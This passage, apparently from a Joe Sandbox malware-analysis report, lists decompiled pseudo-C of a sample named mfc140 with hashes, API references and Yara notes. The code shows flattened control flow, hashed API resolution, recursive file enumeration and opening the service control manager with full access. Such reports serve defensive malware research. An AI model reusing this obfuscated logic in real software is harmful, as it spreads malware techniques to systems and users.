RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 002D0519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 002D0530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 002D0547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 002D0562

Memory Dump Source

Source File: 0000000C.00000002.2279660601.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d0000_mfc140.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: e89fcd0d4599c3d0a2007ea6af4610ccb5c3b28cd23abd02339175211b486740
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: 6A414FB19243417EE710EBA1C846F6BB2EDAB88740F408D1EB64897791D674DD248F62

Uniqueness

Uniqueness Score: -1.00%

Function 003E38F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E003E38F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x3ee430 == 0) {
								 *0x3ee430 = E003E3E60(_t56, E003E3F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x3edba4;
								if(_t42 == 0) {
									_t42 = E003E3E60(_t56, E003E3F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x3edba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E003E34C0(0x3ed290);
											_t50 =  *0x3ee158;
											if(_t50 == 0) {
												_t50 = E003E3E60(_t56, E003E3F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x3ee158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E003E38F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E003E3460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E003E34C0(0x3ed260);
					_t24 =  *0x3ee158;
					if(_t24 == 0) {
						_t24 = E003E3E60(_t56, E003E3F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x3ee158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x3ee494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E003E3E60(_t56, E003E3F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x3ee494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x3edf30;
					if(_t28 == 0) {
						_t28 = E003E3E60(_t56, E003E3F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x3edf30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x3edf88;
						if(_t33 == 0) {
							_t33 = E003E3E60(_t56, E003E3F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x3edf88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x003e38fa
0x003e38fc
0x003e38fe
0x003e3902
0x003e3907
0x003e3910
0x003e3910
0x003e3910
0x003e3915
0x00000000
0x00000000
0x003e391b
0x003e3a5f
0x00000000
0x003e3921
0x003e3926
0x003e3a1e
0x003e3a36
0x003e3a36
0x003e3a48
0x003e3a4a
0x003e3a4f
0x003e3ba1
0x003e3a55
0x003e3a55
0x00000000
0x003e3a55
0x003e392c
0x003e3931
0x003e3b70
0x003e3b77
0x003e3b8a
0x003e3b8f
0x003e3b8f
0x00000000
0x003e3b95
0x003e393c
0x003e3ab6
0x003e3abb
0x00000000
0x003e3acb
0x003e3acb
0x003e3acb
0x003e3942
0x003e3947
0x003e39fd
0x003e3a06
0x003e3a0d
0x003e394d
0x003e3953
0x003e3974
0x003e3976
0x00000000
0x003e3978
0x003e3982
0x003e3984
0x003e398b
0x003e399e
0x003e39a3
0x003e39a3
0x003e39bc
0x003e39d8
0x003e39dd
0x003e39e2
0x003e39e7
0x003e39e7
0x003e3955
0x003e3955
0x003e395d
0x003e396d
0x003e396d
0x00000000
0x00000000
0x00000000
0x003e395d
0x003e3953
0x00000000
0x003e3947
0x003e393c
0x003e3926
0x00000000
0x003e391b
0x003e3a6e
0x003e3ad6
0x003e3ad8
0x003e3adf
0x003e3af2
0x003e3af7
0x003e3af7
0x003e3b0b
0x003e3b0d
0x003e3b12
0x003e3b17
0x003e3b2a
0x003e3b2f
0x003e3b2f
0x003e3b36
0x003e3b38
0x003e3b3f
0x003e3b52
0x003e3b57
0x003e3b57
0x003e3b60
0x003e3b62
0x003e3b66
0x00000000
0x003e3a70
0x003e3a75
0x00000000
0x003e3a77
0x003e3a77
0x003e3a7e
0x003e3a91
0x003e3a96
0x003e3a96
0x003e3aa1
0x003e3aa5
0x003e3aac
0x00000000
0x003e3aac
0x003e3a75
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 003E3A48

Strings

., xrefs: 003E394D

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: 59dda3ab98b407d8618fcc53b3a7d06847a9f36683dd29bcd4ad2946dd87d394
Instruction ID: ebad58ed1d4e53fb205c4c3d4125e58790bbc3cb2dbff0001b831096572d3aaf
Opcode Fuzzy Hash: 59dda3ab98b407d8618fcc53b3a7d06847a9f36683dd29bcd4ad2946dd87d394
Instruction Fuzzy Hash: D05103316042E54BCA36AB6A988D77B36AA9BD0700F010B29F456CF3D2EB75CF454792

Uniqueness

Uniqueness Score: -1.00%

Function 003E5040, Relevance: 1.7, APIs: 1, Instructions: 248
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E003E5040(intOrPtr __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v36;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t23;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t35;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t45;
				void* _t50;
				void* _t51;
				void* _t52;
				signed int _t53;
				void* _t58;
				intOrPtr* _t101;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t116;

				_t101 = _v12;
				_t58 = 0;
				_v16 = __edx;
				_t112 = 0;
				_v20 = __ecx;
				_t104 = 0x1ca940c1;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t115 = _t104 - 0x12f72f95;
						if(_t115 <= 0) {
							break;
						}
						__eflags = _t104 - 0x26342ffd;
						if(__eflags > 0) {
							__eflags = _t104 - 0x2fab56c4;
							if(_t104 != 0x2fab56c4) {
								goto L40;
							} else {
								_t17 =  *0x3ee494;
								__eflags = _t17;
								if(_t17 == 0) {
									_t17 = E003E3E60(_t58, E003E3F00(0x9bab0b12), 0x7facde30, _t112);
									 *0x3ee494 = _t17;
								}
								_t105 =  *_t17();
								__eflags =  *0x3edd18;
								if( *0x3edd18 == 0) {
									 *0x3edd18 = E003E3E60(_t58, E003E3F00(0x9bab0b12), 0x9ff0609c, _t112);
								}
								_t16 = RtlAllocateHeap(_t105, 8, 0x20000); // executed
								_t58 = _t16;
								__eflags = _t58;
								if(_t58 != 0) {
									_t104 = 0x8956eec;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						} else {
							if(__eflags == 0) {
								_t23 =  *0x3ee484;
								__eflags = _t23;
								if(_t23 == 0) {
									_t23 = E003E3E60(_t58, E003E3F00(0x26f5757c), 0x9e91db81, _t112);
									 *0x3ee484 = _t23;
								}
								 *_t23(_v24, 1, _t112, 0x2000,  &_v4);
								asm("sbb esi, esi");
								_t26 =  *0x3ee18c;
								_t104 = (_t104 & 0x0b23632b) + 0x5d498c4;
								__eflags = _t26;
								if(_t26 == 0) {
									_t26 = E003E3E60(_t58, E003E3F00(0x26f5757c), 0x268fe5f0, _t112);
									 *0x3ee18c = _t26;
								}
								_t16 =  *_t26(_v44);
								goto L40;
							} else {
								__eflags = _t104 - 0x1ca940c1;
								if(_t104 == 0x1ca940c1) {
									_t104 = 0x2fab56c4;
									continue;
								} else {
									__eflags = _t104 - 0x254bd927;
									if(_t104 != 0x254bd927) {
										L40:
										__eflags = _t104 - 0x1f0f293e;
										if(_t104 != 0x1f0f293e) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t50 =  *0x3ee29c;
										__eflags = _t50;
										if(_t50 == 0) {
											_t50 = E003E3E60(_t58, E003E3F00(0x26f5757c), 0x4574c66, _t112);
											 *0x3ee29c = _t50;
										}
										_t51 =  *_t50(_v20, 0, 0x30, 3, _t58, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t51;
										if(_t51 == 0) {
											L13:
											_t104 = 0x11e09e52;
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										} else {
											_t52 =  *0x3ede08;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E003E3E60(_t58, E003E3F00(0x9bab0b12), 0xd8ef4c49, _t112);
												 *0x3ede08 = _t52;
											}
											_t53 =  *_t52();
											_t104 = 0x128dff18;
											_t103 = _t58 + (_t53 & 0x0000001f) * 0x2c;
											_t16 = _t58 + _v52 * 0x2c;
											__eflags = _t103 - _t16;
											_v68 = _t16;
											_t101 =  >=  ? _t58 : _t103;
											continue;
										}
										L55:
									}
								}
							}
						}
						L54:
						return _t16;
						goto L55;
					}
					if(_t115 == 0) {
						_t29 =  *0x3ee494;
						__eflags = _t29;
						if(_t29 == 0) {
							_t29 = E003E3E60(_t58, E003E3F00(0x9bab0b12), 0x7facde30, _t112);
							 *0x3ee494 = _t29;
						}
						_t107 =  *_t29();
						_t31 =  *0x3edf30;
						__eflags = _t31;
						if(_t31 == 0) {
							_t31 = E003E3E60(_t58, E003E3F00(0x9bab0b12), 0x5010a54d, _t112);
							 *0x3edf30 = _t31;
						}
						return  *_t31(_t107, 0, _t58);
					}
					_t116 = _t104 - 0x10f7fbef;
					if(_t116 > 0) {
						__eflags = _t104 - 0x11e09e52;
						if(_t104 == 0x11e09e52) {
							_t35 =  *0x3ee494;
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E003E3E60(_t58, E003E3F00(0x9bab0b12), 0x7facde30, _t112);
								 *0x3ee494 = _t35;
							}
							_t108 =  *_t35();
							_t37 =  *0x3edf30;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E003E3E60(_t58, E003E3F00(0x9bab0b12), 0x5010a54d, _t112);
								 *0x3edf30 = _t37;
							}
							 *_t37(_t108, 0, _t112);
							_t104 = 0x12f72f95;
							continue;
						} else {
							__eflags = _t104 - 0x128dff18;
							if(_t104 != 0x128dff18) {
								goto L40;
							} else {
								_t41 =  *0x3ee270;
								__eflags = _t41;
								if(_t41 == 0) {
									_t41 = E003E3E60(_t58, E003E3F00(0x26f5757c), 0x56e230f9, _t112);
									 *0x3ee270 = _t41;
								}
								_t42 =  *_t41(_v20,  *_t101, 1);
								__eflags = _t42;
								_v36 = _t42;
								_t104 =  !=  ? 0x26342ffd : 0x5d498c4;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							}
						}
					} else {
						if(_t116 == 0) {
							_t45 =  *0x3ee200;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E003E3E60(_t58, E003E3F00(0x26f5757c), 0x16d40839, _t112);
								 *0x3ee200 = _t45;
							}
							 *_t45(_v16, 1, _t112);
							goto L13;
						} else {
							if(_t104 == 0x5d498c4) {
								_t101 = _t101 + 0x2c;
								__eflags = _t101 - _t16;
								asm("sbb esi, esi");
								_t104 = (_t104 & 0x00ad60c6) + 0x11e09e52;
								goto L2;
							} else {
								if(_t104 != 0x8956eec) {
									goto L40;
								} else {
									_t112 = E003E42C0(_t58, 0x2000);
									_t104 =  !=  ? 0x254bd927 : 0x12f72f95;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						}
					}
					goto L54;
				}
			}

0x003e5047
0x003e504b
0x003e504d
0x003e5051
0x003e5053
0x003e5057
0x003e505c
0x003e505c
0x003e5060
0x003e5060
0x003e5060
0x003e5066
0x00000000
0x00000000
0x003e51af
0x003e51b5
0x003e52f9
0x003e52ff
0x00000000
0x003e5301
0x003e5301
0x003e5306
0x003e5308
0x003e531b
0x003e5320
0x003e5320
0x003e5327
0x003e532e
0x003e5330
0x003e5348
0x003e5348
0x003e5355
0x003e5357
0x003e5359
0x003e535b
0x003e535d
0x003e505c
0x003e505c
0x00000000
0x003e505c
0x003e505c
0x003e535b
0x003e51bb
0x003e51bb
0x003e5277
0x003e527c
0x003e527e
0x003e5291
0x003e5296
0x003e5296
0x003e52ac
0x003e52b0
0x003e52b2
0x003e52bd
0x003e52c3
0x003e52c5
0x003e52d8
0x003e52dd
0x003e52dd
0x003e52e6
0x00000000
0x003e51c1
0x003e51c1
0x003e51c7
0x003e526d
0x00000000
0x003e51cd
0x003e51cd
0x003e51d3
0x003e52e8
0x003e52e8
0x003e52ee
0x003e505c
0x003e505c
0x00000000
0x003e505c
0x003e505c
0x003e51d9
0x003e51d9
0x003e51de
0x003e51e0
0x003e51f3
0x003e51f8
0x003e51f8
0x003e521b
0x003e521d
0x003e521f
0x003e50ef
0x003e50ef
0x003e505c
0x003e505c
0x00000000
0x003e505c
0x003e5225
0x003e5225
0x003e522a
0x003e522c
0x003e523f
0x003e5244
0x003e5244
0x003e5249
0x003e524e
0x003e525b
0x003e525d
0x003e525f
0x003e5261
0x003e5265
0x00000000
0x003e5265
0x00000000
0x003e521f
0x003e51d3
0x003e51c7
0x003e51bb
0x003e53c0
0x003e53c0
0x00000000
0x003e53c0
0x003e506c
0x003e5367
0x003e536c
0x003e536e
0x003e5381
0x003e5386
0x003e5386
0x003e538d
0x003e538f
0x003e5394
0x003e5396
0x003e53a9
0x003e53ae
0x003e53ae
0x00000000
0x003e53b7
0x003e5072
0x003e5078
0x003e50f9
0x003e50ff
0x003e5153
0x003e5158
0x003e515a
0x003e516d
0x003e5172
0x003e5172
0x003e5179
0x003e517b
0x003e5180
0x003e5182
0x003e5195
0x003e519a
0x003e519a
0x003e51a3
0x003e51a5
0x00000000
0x003e5101
0x003e5101
0x003e5107
0x00000000
0x003e510d
0x003e510d
0x003e5112
0x003e5114
0x003e5127
0x003e512c
0x003e512c
0x003e5139
0x003e513b
0x003e513d
0x003e514b
0x003e505c
0x003e505c
0x00000000
0x003e505c
0x003e505c
0x003e5107
0x003e507a
0x003e507a
0x003e50c2
0x003e50c7
0x003e50c9
0x003e50dc
0x003e50e1
0x003e50e1
0x003e50ed
0x00000000
0x003e507c
0x003e5082
0x003e50ad
0x003e50b0
0x003e50b2
0x003e50ba
0x00000000
0x003e5084
0x003e508a
0x00000000
0x003e5090
0x003e509a
0x003e50a8
0x003e505c
0x003e505c
0x00000000
0x003e505c
0x003e505c
0x003e508a
0x003e5082
0x003e507a
0x00000000
0x003e5078

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,003E8AC8,?,3251FEFE,?,?), ref: 003E5355

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 133d7f2ca5510ac489f825c25ec4a53eaa06e005271f18bdac58970ca82bde36
Instruction ID: 35d7fc1f7d1e6bad15e6cd8394cd28a72521c73478c107b9ddd4e37f4ab40a6e
Opcode Fuzzy Hash: 133d7f2ca5510ac489f825c25ec4a53eaa06e005271f18bdac58970ca82bde36
Instruction Fuzzy Hash: 4681F532B447B58BDF22AF7B8C8572A36DE9B94748F020769F901DF2D1EA218D014BC1

Uniqueness

Uniqueness Score: -1.00%

Function 003E9860, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E003E9860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x3ee310;
							if( *0x3ee310 == 0) {
								 *0x3ee310 = E003E3E60(_t64, E003E3F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x3ee54c; // 0x5ce728
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x3edbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E003E3E60(_t64, E003E3F00(0xd9518805), 0x141622d6, _t94);
										 *0x3edbd8 = _t69;
									}
									_t53 =  *0x3ee54c; // 0x5ce728
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E003E7C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x3ee3f4;
											if(_t60 == 0) {
												_t60 = E003E3E60(_t64, E003E3F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x3ee3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E003E3D00( &_v536);
											_t72 =  *0x3ee54c; // 0x5ce728
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x3edbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E003E3E60(_t64, E003E3F00(0xd9518805), 0x141622d6, _t94);
								 *0x3edbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x3ee54c; // 0x5ce728
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E003E3040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x3ee494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E003E3E60(_t64, E003E3F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x3ee494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x3edd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E003E3E60(_t64, E003E3F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x3edd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x3ee54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E003E7E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x3ee18c;
								if( *0x3ee18c == 0) {
									 *0x3ee18c = E003E3E60(_t64, E003E3F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x3ee54c; // 0x5ce728
									 *((intOrPtr*)(_t47 + 8)) = 0x3e7e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x003e9868
0x003e986a
0x003e9871
0x003e9875
0x003e9875
0x003e9878
0x003e9880
0x003e9880
0x003e9880
0x003e9880
0x003e9885
0x00000000
0x00000000
0x003e988b
0x003e9993
0x003e9995
0x003e99ad
0x003e99ad
0x003e99bb
0x003e99bd
0x003e99bf
0x003e99c1
0x003e99d8
0x003e99c3
0x003e99c3
0x003e99c8
0x003e99ce
0x003e99ce
0x00000000
0x003e9891
0x003e9891
0x003e9896
0x003e9936
0x003e993b
0x00000000
0x003e9941
0x003e9941
0x003e9947
0x003e9949
0x003e9961
0x003e9963
0x003e9963
0x003e9969
0x003e997d
0x003e997f
0x003e9981
0x003e9986
0x00000000
0x003e9986
0x003e989c
0x003e989c
0x003e9927
0x003e992c
0x00000000
0x003e98a2
0x003e98a7
0x003e9905
0x003e990d
0x003e9912
0x003e991a
0x00000000
0x003e98a9
0x003e98ae
0x00000000
0x003e98b4
0x003e98b4
0x003e98bb
0x003e98ce
0x003e98d3
0x003e98d3
0x003e98e4
0x003e98ea
0x003e98ef
0x003e98f5
0x003e98fb
0x00000000
0x003e98fb
0x003e98ae
0x003e98a7
0x003e989c
0x003e9896
0x00000000
0x003e988b
0x003e99e2
0x003e99e7
0x003e9ae3
0x003e9ae8
0x003e9b02
0x003e9b07
0x003e9b09
0x003e9b1c
0x003e9b21
0x003e9b21
0x003e9b33
0x003e9b35
0x003e9b3e
0x003e9b3e
0x003e9b44
0x00000000
0x00000000
0x00000000
0x00000000
0x003e99ed
0x003e99ed
0x003e9a73
0x003e9a78
0x003e9a7a
0x003e9a8d
0x003e9a92
0x003e9a92
0x003e9a99
0x003e9a9b
0x003e9aa0
0x003e9aa2
0x003e9ab5
0x003e9aba
0x003e9aba
0x003e9ac7
0x003e9ac9
0x003e9ace
0x003e9ad0
0x003e9b4f
0x003e9b58
0x003e9ad2
0x003e9ad2
0x003e9ad9
0x00000000
0x003e9ad9
0x003e99f3
0x003e99f3
0x003e99f8
0x003e9a47
0x003e9a49
0x003e9a61
0x003e9a61
0x003e9a67
0x003e9a69
0x00000000
0x003e99fa
0x003e99fa
0x003e99ff
0x00000000
0x003e9a05
0x003e9a05
0x003e9a0d
0x003e9a12
0x003e9a17
0x003e9a1f
0x003e9a24
0x003e9a2c
0x003e9a31
0x003e9a38
0x00000000
0x003e9a38
0x003e99ff
0x003e99f8
0x003e99ed
0x00000000
0x003e9aea
0x003e9aea
0x003e9aea
0x003e9b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,005CE710), ref: 003E997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 003E99BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 003E9A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 003E9B33

Strings

Y4[0, xrefs: 003E9AEA
(\, xrefs: 003E98EF, 003E9969, 003E99C3, 003E9A2C, 003E9AC9, 003E9B35
2S, xrefs: 003E9A05

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: (\$2S$Y4[0
API String ID: 2382770032-3917473840
Opcode ID: 6e858ea845305272d0ebb7195e93f94b04f317fc2d7a3c04a5650d1a42e61613
Instruction ID: 916a19c5f8574fb7e0b931f9e49c17a3ee4948f88f631a72d591ffa46bb52fd7
Opcode Fuzzy Hash: 6e858ea845305272d0ebb7195e93f94b04f317fc2d7a3c04a5650d1a42e61613
Instruction Fuzzy Hash: B361FA717042A59BD736AF6AAC857BA329DDBD0704F11066EF005DF3E1EA30CD058B92

Uniqueness

Uniqueness Score: -1.00%

Function 003E8400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E003E8400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
